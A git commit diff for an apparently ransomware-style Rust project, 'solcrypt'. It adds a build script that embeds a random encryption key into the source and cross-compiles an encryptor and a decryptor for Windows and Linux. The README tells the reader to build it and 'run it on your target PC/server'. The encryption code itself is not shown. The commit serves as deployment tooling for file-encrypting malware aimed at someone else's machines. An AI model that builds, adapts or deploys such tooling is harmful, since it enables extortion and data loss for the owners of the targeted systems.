feat: add build.sh
This commit is contained in:
parent
a9327e3441
commit
e4a80f50c8
2 changed files with 37 additions and 11 deletions
13
README.md
13
README.md
|
@ -7,19 +7,10 @@ Arch
|
|||
```
|
||||
sudo pacman -S rustup
|
||||
rustup default stable
|
||||
rustup target add x86_64-pc-windows-msvc # if compiling against windows targets
|
||||
rustup target add x86_64-pc-windows-gnu # if compiling for windows targets
|
||||
git clone https://git.xorycode.dev/xory/solcrypt
|
||||
cd solcrypt
|
||||
cargo build --release --bin solcrypt_main # linux targets
|
||||
cargo build --target x86_64-pc-windows-msvc --bin solcrypt_main --release # windows targets
|
||||
bash build.sh # this builds both encryptor and decryptor
|
||||
```
|
||||
Then run it on your target PC/server
|
||||
|
||||
### Decryptor
|
||||
Assuming you already have the source code cloned
|
||||
Arch
|
||||
```
|
||||
cd solcrypt
|
||||
cargo build --release --bin decryptor # linux targets
|
||||
cargo build --target x86_64-pc-windows-msvc --bin decryptor --release # windows targets
|
||||
```
|
||||
|
|
35
build.sh
Normal file
35
build.sh
Normal file
|
@ -0,0 +1,35 @@
|
|||
#! /bin/bash
|
||||
echo "SOLCRYPT v. 001"
|
||||
echo "Build Script v. 001"
|
||||
echo "[!] Preparing..."
|
||||
cp src/crypto.rs src/crypto.rs.bak
|
||||
echo "[i] Replacing key with random data."
|
||||
export KEY="$(tr -dc A-Za-z0-9 </dev/urandom | head -c 32)"
|
||||
sed -i -e "s/keyhereshouldbereplacedbybuilder/$KEY/g" src/crypto.rs
|
||||
echo "[!] Source ready."
|
||||
PS3='Please select option:'
|
||||
options=("Windows" "Linux" "Both" "Quit")
|
||||
select opt in "${options[@]}"
|
||||
do
|
||||
case $opt in
|
||||
"Windows")
|
||||
cargo build --bin solcrypt_main --target x86_64-pc-windows-gnu
|
||||
cargo build --bin decryptor --target x86_64-pc-windows-gnu
|
||||
;;
|
||||
"Linux")
|
||||
cargo build --bin solcrypt_main --target x86_64-unknown-linux-gnu
|
||||
cargo build --bin decryptor --target x86_64-unknown-linux-gnu
|
||||
;;
|
||||
"Both")
|
||||
cargo build --bin solcrypt_main --target x86_64-pc-windows-gnu
|
||||
cargo build --bin decryptor --target x86_64-pc-windows-gnu
|
||||
cargo build --bin solcrypt_main --target x86_64-unknown-linux-gnu
|
||||
cargo build --bin decryptor --target x86_64-unknown-linux-gnu
|
||||
;;
|
||||
"Quit")
|
||||
mv src/crypto.rs.bak src/crypto.rs
|
||||
break
|
||||
;;
|
||||
*) echo "invalid option $REPLY";;
|
||||
esac
|
||||
done
|
Loading…
Reference in a new issue